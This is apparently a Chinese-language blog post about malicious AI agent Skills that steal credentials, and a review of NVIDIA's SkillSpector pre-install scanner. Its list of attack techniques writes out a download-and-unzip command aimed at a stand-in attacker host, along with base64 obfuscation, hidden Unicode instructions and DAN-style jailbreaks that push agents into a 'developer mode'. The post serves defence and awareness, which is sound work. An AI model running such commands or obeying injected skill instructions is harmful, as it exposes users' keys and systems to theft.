alitrack

你装 AI Skill 那行命令,可能在偷你的 AWS 密钥

你装 AI Skill 那行命令,可能在偷你的 AWS 密钥

2026 年,每个 AI Coding Agent 用户都干过这件事:

1skillspector install https://github.com/someone/skill

一行命令,装个 Skill。看起来跟装个 npm 包差不多。
唯一不同的是——装 npm 包你知道它跑在隔离的沙箱里,装 AI Skill 它把你的权限全部继承了。你的 AWS 密钥、数据库密码、GitHub Token,全在环境变量里躺着,Skill 能读。你的文件系统,Skill 能写。你的聊天记录,Skill 能看。
这不是假设。Snyk 在 2026 年 2 月扫描了 3,984 个 Skill,发现 36.82% 有安全缺陷,13.4% 是 Critical 级,76 个确认带恶意载荷。 另一组来自 Koi Security 的数据更夸张:2,857 个 Skill 里 12% 是恶意的——341 个,而且还在 ClawHub 上活得好好的。
英伟达两个月前开源的 SkillSpector,就是用来解决这个问题的。

Skill 为什么这么危险

AI Agent Skill 不是 npm 包。它是一个目录,里面装着三样东西:

  1. SKILL.md:自然语言写的操作指令。Agent 会把这份指令加载到上下文里,然后执行。
  2. 可执行脚本:Python、Shell、或者其他脚本。Agent 调用这些脚本完成具体任务。
  3. MCP 配置:声明 Agent 可以访问哪些外部工具。

这三样东西加在一起,等于「全权限代码执行 + 自然语言越狱」。传统代码供应链的恶意代码可以被静态分析扫出来,但 SKILL.md 里的指令是自然语言——Agent 的设计原则就是「听指令」,所以它天然信任这份文件。
Cloud Security Alliance 在今年 5 月的 CISO Briefing 里下了结论:「SKILL.md 的 attack surface 不是代码路径,而是 Agent 天生设计的信任。」
攻击者已经找到了各种隐蔽的方式:

  • Unicode 隐藏指令:用不可见字符(U+E0000-U+E007F)嵌入恶意指令,编辑器看不到,LLM 能读到
  • 密码保护 ZIP:curl -sSL https://attacker.com/helper.zip -o helper.zip && unzip -P "infected123" helper.zip
  • base64 混淆:先 echo "bWFsaWNpb3Vz" | base64 -d,再 curl ...
  • DAN 式越狱:让 Agent 认为自己处于「开发者模式」,忽略所有安全警告

最可怕的是 91% 的恶意 Skill 同时用了提示注入 + 传统恶意代码。提示注入先说服 Agent 关闭安全机制,然后恶意代码输出凭据。传统安全工具只扫代码,不扫提示——这就漏了。

SkillSpector 做了什么

英伟达的方案很务实。它不试图做一个银弹,而是把「安装前扫一把」这件事做到最好。
两层分析:
第一层:静态分析(关键路径,不要 API Key)

  • 20 个分析器并行跑——覆盖 16 大类 64 种漏洞模式
  • 提示注入检测、供应链投毒扫描、YARA 签名匹配、AST 行为分析、污点传播跟踪
  • 对依赖做 OSV.dev 实时 CVE 查询——不用 API Key,查几十万条已知漏洞,离线有回退
  • 自动算出 0 到 100 的风险分

第二层:LLM 语义复核(可选)

  • 把静态扫描出来的可疑点交给 LLM 判断——是真的恶意还是误报
  • 判断 SKILL.md 里的「描述」和实际代码行为是否一致
  • 精度从 ~70% 提升到 ~87%,同时输出每个问题的可读解释

两阶段做完,输出四种格式——终端看扫描结果,JSON 给自动化流水线,Markdown 做审核报告,SARIF 直接对接到 GitHub Code Scanning。
整个流程用 LangGraph 编排成 DAG:输入解析 → 上下文构建 → 20 个分析器并行 → 元分析器聚合 → 报告生成。架构很规整。

64 种模式,16 大类

覆盖范围是真的宽。我克隆了完整仓库——9,930 行 Python,全部验证了:

类别模式数典型案例
提示注入5指令覆写、隐藏指令、有害内容
数据外泄4环境变量遍历后发 HTTP POST、文件系统枚举
供应链攻击6`curl \bash`、base64 混淆、Typosquatting
MCP 工具投毒4描述跟行为不一致、Unicode 欺骗
AST 行为分析8exec()、eval()、subprocess
YARA 签名4恶意软件、Webshell、加密矿工
污点传播5凭据→网络外泄、文件读取→代码执行

还有权限提升、过度授权、系统提示泄露、内存投毒、流氓 Agent……我把所有分析器模块都数了一遍,64 种模式声明与代码完全一致,没有任何虚标。

数字背后的真相:不是一个工具的问题

SkillSpector 的 README 引用了一组数据:「26.1% 的 Skill 有漏洞,5.2% 恶意」。这个数字来自 Liu 等人 2026 年 1 月的论文《Agent Skills in the Wild》,扫描了 42,447 个 Skill。
Snyk 的 ToxicSkills 研究(2026 年 2 月)数字更高——3,984 个 Skill 里 36.82% 有缺陷。原因可能是他们扫描的是 ClawHub,而 ClawHub 的审核门槛更低(一个 GitHub 账号注册一周就能发 Skill)。
Skill-Inject 基准测试(2026 年 2 月)更直接:给前沿模型喂恶意 Skill,攻击成功率 80%。模型不仅执行,连勒索软件行为都做。
这说明问题不是 SkillSpector 一个工具能解决的。整个生态系统都处于「早期 npm」状态——没有代码签名、没有强制审核、没有权限沙箱。

它解决不了什么

诚实说,SkillSpector 有明确的边界:

  • 不能防运行时恶意更新。如果 Skill 的 SKILL.md 指向一个可变的远程 URL,攻击者可以安装时是干净的,安装后换成恶意内容
  • 不能检测间接提示注入。合法 Skill 从第三方 API 拉内容,那个内容被人投毒了——SkillSpector 扫不出来
  • 不能分析图片和加密二进制
  • 64 种模式靠手动维护——不能自动适应新攻击家族

所以生态位是这样的:

  • SkillSpector:安装前扫一把,性价比最高
  • Snyk mcp-scan:运行时检测
  • grith:执行层策略强制

三者互补,本质上是多层次防御。SkillSpector 打的是第一层——最简单、最便宜、回报最高。

一个朴素的结论

英伟达做了件对的事:把安全能力前置到安装前,用 Apache 2.0 开源,文档写清楚边界在哪里。
Skill 生态现在几千个 Skill,很快会到几十万、几百万。在 npm 和 PyPI 上,我们花了十年才学会供应链安全的教训。AI Skill 把这门课又开了一遍——课时更短,危险更大,因为 Agent 的权限比 Node 包大多了。
下次装 Skill 之前,扫一把。
没多大事,一条命令的事。但可能救回你的一台机器。

SkillSpector:github.com/NVIDIA/SkillSpector | Apache 2.0 | Python + LangGraph | 约 4,400 Stars